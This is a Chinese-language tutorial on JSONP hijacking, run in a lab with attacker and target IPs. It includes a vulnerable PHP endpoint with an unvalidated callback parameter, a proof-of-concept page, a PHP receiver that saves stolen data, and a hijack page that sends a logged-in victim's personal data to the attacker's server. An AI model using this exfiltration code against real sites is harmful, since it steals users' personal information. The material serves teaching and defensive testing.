JSONP漏洞分析及利用方式

作者：时间：2023-04-14阅读数：人阅读

JSONP漏洞分析及利用方式

漏洞原理

jSONP 的最基本的原理是：动态添加一个< script >标签，而 script 标签的 src 属性是没有跨域的限制的。由于同源策略的限制，XmlHttpRequest 只允许请求当前源(域名、协议、端口都相同)的资源，如果要进行跨域请求，我们可以通过使用 html 的 script 标记来进行跨域请求，并在响应中返回要执行的 script 代码，其中可以直接使用 JSON 传递 javascript 对象。

考虑这样一种情况，存在两个网站 A 和 B，用户在网站 B 上注册并且填写了自己的用户名，手机号，身份证号等信息，并且网站 B 存在一个 jsonp 接口，用户在访问网站 B 的时候。这个 jsonp 接口会返回用户的个人信息，并在网站 B 的 html 页面上进行显示。如果网站 B 对此 jsonp 接口的来源验证存在漏洞，那么当用户访问网站 A 时，网站 A 便可以利用此漏洞进行 JSONP 劫持来获取用户的信息。
在这里插入图片描述

攻击方法

攻击方法与 csrf 类似，都是需要用户登录帐号，身份认证还没有被消除的情况下访问攻击者精心设计好的
的页面。就会获取 json 数据，把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口，构造恶意的代码。
发送给用户，用户访问有恶意的页面，数据会被劫持发送到远程服务器。

jsonp 漏洞攻击案例

攻击机IP：172.20.10.4

靶机IP：172.20.10.5

jsonp漏洞代码分析

user.php 设置头响应是 json 文件，存在可控参数 callback

<?php 
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id":"1","name":"gh0st","email":"gh0st@test.com"});';
?>

user.php 是 json 文件，存在用户的敏感信息。
在这里插入图片描述

jsonp攻击步骤

编写json.html对漏洞进行初步验证：

将callback 设置为 jsonp2，访问该页面时会调用jsonp2 函数，然后会触发弹窗用户信息。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <script>
      function jsonp2(data){
        alert(JSON.stringify(data));
      }
    </script>
    <script src="http://172.20.10.5/user.php?callback=jsonp2"></script>
  </body>
</html>

访问 json.html 会得到账号和邮箱等敏感信息。
在这里插入图片描述
攻击机创建以下php文件，作用是远程文件写入

<?php
if ($_GET['file']) {
  file_put_contents('json.txt', $_GET['file']);
}
?>
jsonp 劫持代码
<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8">
  <title></title>
  <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  <script>
    function test(data) {
      //alert(v.name);
      var xmlhttp = new XMLHttpRequest();
      var url = "http://172.20.10.4/1.php?file=" + JSON.stringify(data);
      xmlhttp.open("GET", url, true);
      xmlhttp.send();
    }
  </script>
  <script src="http://172.20.10.5/user.php?callback=test"></script>
</head>

<body>
</body>

</html>

当受害人登入网站之后访问这个页面时，会自动把接口 user.php 的敏感信息发送到远程服务器上
在这里插入图片描述
获取到的信息就会在远程服务器上生成 json.txt